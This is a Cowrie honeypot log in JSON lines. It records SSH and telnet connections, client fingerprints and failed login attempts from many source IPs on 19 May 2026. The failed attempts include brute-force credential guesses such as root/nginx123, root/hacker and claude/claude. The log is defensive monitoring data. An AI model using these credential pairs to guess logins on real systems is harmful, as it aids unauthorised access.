{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:41.566957Z","src_ip":"5.181.124.9","session":"0c420678e8ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:41.925247Z","src_ip":"5.181.124.9","session":"0c420678e8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:43.010671Z","src_ip":"5.181.124.9","session":"0c420678e8ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59678,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ca8c4f624c","protocol":"telnet","message":"New connection: 192.119.13.58:59678 (10.17.0.5:23) [session: a4ca8c4f624c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:46.675256Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":16538,"dst_ip":"10.17.0.5","dst_port":22,"session":"98efb4c7069a","protocol":"ssh","message":"New connection: 186.122.177.140:16538 (10.17.0.5:22) [session: 98efb4c7069a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:48.396529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:48.400948Z","src_ip":"186.122.177.140","session":"98efb4c7069a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:48.577999Z","src_ip":"186.122.177.140","session":"98efb4c7069a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx123","message":"login attempt [root/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:49.460598Z","src_ip":"186.122.177.140","session":"98efb4c7069a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45738,"dst_ip":"10.17.0.5","dst_port":23,"session":"6136afc3ac11","protocol":"telnet","message":"New connection: 192.119.13.58:45738 (10.17.0.5:23) [session: 6136afc3ac11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:50.400112Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:50.642194Z","src_ip":"186.122.177.140","session":"98efb4c7069a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42122,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7f495114393","protocol":"ssh","message":"New connection: 147.45.211.215:42122 (10.17.0.5:22) [session: d7f495114393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:51.415896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:51.421410Z","src_ip":"147.45.211.215","session":"d7f495114393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:51.601615Z","src_ip":"147.45.211.215","session":"d7f495114393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hacker","message":"login attempt [root/hacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:52.139162Z","src_ip":"147.45.211.215","session":"d7f495114393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:53.319210Z","src_ip":"147.45.211.215","session":"d7f495114393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.203250885009766,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:53.855368Z","src_ip":"192.119.13.58","session":"f500651e10cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38662,"dst_ip":"10.17.0.5","dst_port":23,"session":"79ced1d6f1d7","protocol":"telnet","message":"New connection: 192.119.13.58:38662 (10.17.0.5:23) [session: 79ced1d6f1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:57.616453Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":42396,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d3017d7bec5","protocol":"ssh","message":"New connection: 43.135.177.217:42396 (10.17.0.5:22) [session: 2d3017d7bec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:00.689416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:00.696101Z","src_ip":"43.135.177.217","session":"2d3017d7bec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:00.767620Z","src_ip":"43.135.177.217","session":"2d3017d7bec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ml123","message":"login attempt [root/ml123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:01.073717Z","src_ip":"43.135.177.217","session":"2d3017d7bec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:02.145524Z","src_ip":"43.135.177.217","session":"2d3017d7bec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":57402,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b73728e0ab5","protocol":"ssh","message":"New connection: 59.126.224.134:57402 (10.17.0.5:22) [session: 8b73728e0ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:03.783030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:03.788548Z","src_ip":"59.126.224.134","session":"8b73728e0ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:04.002570Z","src_ip":"59.126.224.134","session":"8b73728e0ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135454","message":"login attempt [root/135454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:04.899047Z","src_ip":"59.126.224.134","session":"8b73728e0ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:06.114484Z","src_ip":"59.126.224.134","session":"8b73728e0ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":41022,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a3601b8896","protocol":"ssh","message":"New connection: 35.225.56.202:41022 (10.17.0.5:22) [session: d4a3601b8896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:09.379706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:09.385093Z","src_ip":"35.225.56.202","session":"d4a3601b8896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:09.421411Z","src_ip":"35.225.56.202","session":"d4a3601b8896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0s1t1v3","message":"login attempt [root/p0s1t1v3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:09.599294Z","src_ip":"35.225.56.202","session":"d4a3601b8896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:10.640035Z","src_ip":"35.225.56.202","session":"d4a3601b8896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.16959023475647,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:11.362582Z","src_ip":"192.119.13.58","session":"e0bd0edf06af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":56502,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1fe0693c55a","protocol":"ssh","message":"New connection: 43.134.177.27:56502 (10.17.0.5:22) [session: f1fe0693c55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:11.665160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:11.669642Z","src_ip":"43.134.177.27","session":"f1fe0693c55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:11.915318Z","src_ip":"43.134.177.27","session":"f1fe0693c55a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.4138970375061,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:12.861269Z","src_ip":"192.119.13.58","session":"e70454fc7753","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"usermagic","message":"login attempt [root/usermagic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:12.930274Z","src_ip":"43.134.177.27","session":"f1fe0693c55a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.57972550392151,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:13.282396Z","src_ip":"192.119.13.58","session":"0e52a6fffc8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59552,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5895f1cd6e9","protocol":"telnet","message":"New connection: 192.119.13.58:59552 (10.17.0.5:23) [session: f5895f1cd6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:13.516563Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:14.180414Z","src_ip":"43.134.177.27","session":"f1fe0693c55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39526,"dst_ip":"10.17.0.5","dst_port":23,"session":"562d7e1c355c","protocol":"telnet","message":"New connection: 192.119.13.58:39526 (10.17.0.5:23) [session: 562d7e1c355c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:16.026682Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":45684,"dst_ip":"10.17.0.5","dst_port":22,"session":"02fd3d2516c6","protocol":"ssh","message":"New connection: 193.233.48.169:45684 (10.17.0.5:22) [session: 02fd3d2516c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:25.487991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:25.493345Z","src_ip":"193.233.48.169","session":"02fd3d2516c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:25.617319Z","src_ip":"193.233.48.169","session":"02fd3d2516c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitlab-runner","message":"login attempt [root/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:46:26.137484Z","src_ip":"193.233.48.169","session":"02fd3d2516c6","protocol":"ssh"}
